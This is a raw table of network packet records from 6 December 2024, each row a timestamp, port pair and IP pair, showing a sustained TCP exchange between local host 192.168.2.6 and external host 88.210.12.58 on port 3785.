Dec 6, 2024 10:42:07.778902054 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:07.858997107 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:07.878736019 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:07.959980011 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:08.060949087 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:08.161098957 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:08.215522051 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:08.215615988 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:08.215625048 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:08.262015104 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:08.280942917 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:08.365828991 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:08.381669998 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:08.465812922 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:08.485475063 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:08.565805912 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:08.585495949 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:08.665812016 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:08.685563087 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:08.766067982 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:08.785451889 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:08.866086960 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:08.885910034 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:08.969827890 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:08.985862017 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:09.066967010 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:09.089637995 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:09.166980982 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:09.186883926 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:09.268007040 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:09.288606882 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:09.368995905 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:09.387870073 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:09.469980001 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:09.488820076 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:09.570024967 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:09.589757919 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:09.670993090 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:09.690596104 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:09.770971060 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:09.790786028 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:09.871974945 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:09.890796900 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:09.973009109 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:09.992650032 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:10.074004889 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:10.093943119 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:10.175832033 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:10.194590092 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:10.274991989 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:10.296487093 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:10.379853964 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:10.394932032 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:10.475999117 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:10.499691963 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:10.576961040 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:10.595784903 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:10.679847956 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:10.696654081 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:10.778009892 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:10.799963951 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:10.878987074 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:10.897758007 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:10.979882956 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:10.998760939 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:11.080106020 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:11.099931955 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:11.180016041 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:11.201081038 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:11.281008959 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:11.299729109 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:11.381999016 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:11.400712967 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:11.482105970 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:11.501882076 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:11.582035065 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:11.604058981 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:11.683016062 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:11.703253031 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:11.782996893 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:11.804088116 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:11.882988930 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:11.902683020 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:11.984014034 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:12.003546953 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:12.085004091 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:12.106401920 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:12.184979916 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:12.204807997 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:12.289899111 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:12.304825068 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:12.386087894 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:12.409734011 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:12.489871979 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:12.505743980 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:12.588109970 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:12.609678984 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:12.688014984 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:12.707948923 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:12.788049936 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:12.807677984 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:12.888088942 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:12.907866955 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:12.989037991 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:13.007752895 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:13.092017889 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:13.108990908 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:13.190032005 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:13.212295055 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:13.291034937 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:13.309731960 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:13.391026020 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:13.410785913 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:13.493472099 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:13.510818005 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:13.593972921 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:13.613744974 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:13.695004940 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:13.713793993 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:13.795027018 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:13.814675093 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:13.896043062 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:13.914720058 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:13.997028112 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:14.015850067 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:14.096980095 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:14.116856098 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:14.198012114 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:14.217082977 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:14.298015118 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:14.318094015 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:14.399032116 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:14.417891979 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:14.501893044 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:14.518831968 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:14.601871967 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:14.621604919 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:14.701849937 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:14.721570969 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:14.800010920 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:14.821635008 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:14.900980949 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:14.921017885 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:15.001002073 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:15.020798922 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:15.101990938 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:15.120733976 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:15.202013969 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:15.221726894 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:15.303005934 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:15.321795940 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:15.402991056 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:15.422734976 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:15.503073931 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:15.524183989 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:15.604060888 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:15.622865915 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:15.706276894 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:15.723786116 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:15.807116985 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:15.826148987 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:15.908085108 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:15.926983118 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:16.008029938 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:16.027957916 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:16.108052015 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:16.128271103 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:16.209858894 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:16.227864027 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:16.309557915 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:16.330174923 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:16.409022093 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:16.429286003 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:16.510735035 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:16.528758049 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:16.611110926 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:16.630561113 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:16.716398001 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:16.731113911 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:16.813040972 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:16.836194992 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:16.913038015 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:16.932823896 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:17.014139891 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:17.032841921 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:17.114027977 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:17.134002924 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:17.215066910 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:17.235836029 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:17.315043926 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:17.334856033 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:17.416049004 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:17.434801102 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:17.517040014 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:17.539032936 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:17.618109941 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:17.636905909 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:17.718063116 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:17.738090038 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:17.818064928 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:17.837886095 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:17.919075966 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:17.938026905 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:18.019117117 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:18.038944960 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:18.120098114 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:18.138989925 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:18.221909046 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:18.239981890 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:18.321058035 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:18.346262932 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:18.422107935 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:18.440828085 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:18.523113966 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:18.541873932 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:18.623040915 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:18.643424034 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:18.725898981 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:18.742808104 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:18.827882051 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:18.845891953 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:18.925028086 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:18.947691917 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:19.025094032 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:19.044825077 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:19.125045061 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:19.144782066 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:19.226108074 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:19.244986057 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:19.326100111 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:19.346774101 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:19.426079988 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:19.445943117 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:19.529340029 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:19.545839071 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:19.629038095 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:19.654608011 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:19.730031967 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:19.749452114 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:19.830063105 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:19.849828005 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:19.931035042 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:19.951144934 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:20.031002998 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:20.050704956 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:20.131031036 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:20.150837898 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:20.232052088 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:20.250760078 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:20.333117962 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:20.351931095 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:20.434047937 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:20.452991962 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:20.537880898 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:20.553838015 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:20.636087894 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:20.657711983 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:20.736150026 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:20.755958080 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:20.836092949 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:20.856102943 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:20.937055111 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:20.955878019 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:21.037062883 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:21.056869984 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:21.140119076 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:21.157097101 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:21.238065958 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:21.260137081 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:21.338036060 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:21.359117031 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:21.439054012 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:21.457823038 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:21.539055109 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:21.560167074 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:21.640048981 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:21.659346104 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:21.740086079 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:21.760487080 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:21.841044903 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:21.859909058 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:21.960107088 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:21.960872889 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:22.080081940 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:22.161868095 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:22.272059917 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:22.281656981 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:22.373897076 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:22.391942024 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:22.473900080 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:22.494458914 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:22.572053909 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:22.593741894 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:22.673078060 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:22.692002058 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:22.773027897 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:22.792797089 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:22.873040915 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:22.892950058 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:22.976048946 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:22.992959976 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:23.075961113 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:23.096399069 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:23.175035000 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:23.195918083 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:23.276098967 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:23.294872999 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:23.377087116 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:23.395787001 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:23.478044987 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:23.497059107 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:23.580993891 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:23.597827911 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:23.682069063 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:23.704617023 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:23.783071041 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:23.802325010 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:23.884304047 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:23.902797937 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:23.985188007 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:24.004060030 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:24.085130930 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:24.105062962 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:24.185046911 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:24.204999924 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:24.288068056 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:24.304858923 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:24.388735056 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:24.407912016 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:24.487039089 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:24.508624077 CET	3785	49737	88.210.12.58	192.168.2.6
Dec 6, 2024 10:42:24.587085009 CET	49737	3785	192.168.2.6	88.210.12.58
Dec 6, 2024 10:42:24.607043028 CET	3785	49737	88.210.12.58	192.168.2.6
